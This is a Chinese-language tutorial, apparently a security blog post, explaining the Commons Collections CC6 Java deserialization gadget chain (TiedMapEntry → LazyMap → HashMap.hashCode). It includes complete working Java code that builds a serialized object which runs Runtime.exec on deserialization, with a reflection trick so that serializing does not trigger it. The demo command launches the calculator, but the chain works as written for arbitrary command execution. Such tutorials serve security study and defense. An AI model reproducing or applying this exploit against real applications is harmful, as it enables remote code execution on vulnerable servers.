Java 反序列化第三条链 CC6
JDK 版本:任意
0x01 意义
有了 cc1 的两种链,为什么我们还要学习 cc6 呢?因为 cc1 固然好用,但是对 JDK 版本要求,不能大于等于 71 ,而我们今天学的 cc6 就没有版本要求了
为什么 cc1 在 jdk 高版本就不能用了呢,主要原因 是 sun.reflect.annotation.AnnotationInvocationHandler#readObject 的逻辑变化了,感兴趣的可以自行去了解。
0x02 分析
既然 AnnotationInvocationHandler#readObject 不能用了,我们只能找另一条链子了,而 cc6 的核心就是找到了另一个类看看能不能和 LazyMap.get 连上
TiedMapEntry
可以看到这个类的 getValue 方法调用了 get 函数
1 2 3
| public Object getValue() { return map.get(key); }
|
然后这个类的 hashcode 方法又调用了 getValue
1 2 3 4 5
| public int hashCode() { Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
|
那么谁又调用了 hashcode,欸,第一条 URLDNS 链是不是见过这个函数,在 HashMap 类里,CC6 也是找上了这个类,这个类的readObject 调用了 hash 方法
1 2 3 4
| static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }
|
最后调用key.hashCode,key就是我们可控参数,我们只需要让key等于TiedMapEntry即可!因此可以开始编写CC6链雏形了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object,Object> map2 = new HashMap<>(); map2.put(tiedMapEntry, "bbb"); serialize(map2);
|
嘻嘻,序列化的时候就弹计算器了,这场景是不是和 URLDNS 如出一辙(序列化的时候就发起了 DNS 解析),其实一样的道理,在第二个 put, map2.put 的时候就会调用 key.hashCode,我们可以先传一个假的参数给任意方法,让这条链子不能正常执行,然后在 put 之后通过反射修改回来就行,这样就能达到序列化不能命令执行,反序列化的时候可以
这里选择在 LazyMap 实例化的时候修改(当然你也可以修改 ChainedTransformer,TiedMapEntry)
1
| Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
|
这样序列化的时候走到 LazyMap 那里就会执行 ConstantTransformer.transform 而不是我们想要的 chainedTransformer.transform ,也就成功打断执行了。
记得 put 完之后再改回来
1 2 3 4
| Class clazz = lazyMap.getClass(); Field factoryField = clazz.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap, chainedTransformer);
|
但是反序列化的时候又不弹计算器了,我们反序列化跟进调试一下,发现还是因为 map2 的 put 也会走一遍链子的原因
1 2 3 4 5
| if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; }
|
走到 Lazy 的 get 的时候,key = "aaa", map 就是我们的第一个 map ,第一次进来 map 没有这个这个键于是就 put 了一个。
然后我们反序列化再走一遍链子到这里的时候因为是第二次来 map.put(key, value); 成功地让 map 有 “aaa” 这个键了,所以就进不去这个 if 里面了,我们直接在 map2 put 之后把 map 的这个键值对删掉就行了。
完整代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object,Object> map2 = new HashMap<>(); map2.put(tiedMapEntry, "bbb");
Class clazz = lazyMap.getClass(); Field factoryField = clazz.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap, chainedTransformer); map.remove("aaa");
unserialize(); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6.bin")); oos.writeObject(obj); } public static void unserialize() throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc6.bin")); ois.readObject(); }
|
0x03 流程图

0x04 思考
可以看到整个过程没有再用到 AnnotationInvocationHandler,所以这条链不限制 JDK 版本,而且这条链也不绕,复现起来特别舒服。
白组长弹幕里有一个这个问题挺有意思的
我只要反序列化成功就行,那序列化的时候命令执不执行无所谓是不是就不用管了
评论区有个答案我觉得很有道理
如果你是win的主机,你在构造一条linux的命令执行链,如果你没有进行该操作,你的win没有linux命令,就会导致链子报错,进而导致序列化失败,你就无法生成对应的序列化文件ser.bin。在进行了该操作之后,我们就避免了序列化操作的报错,保证序列化文件的正常生成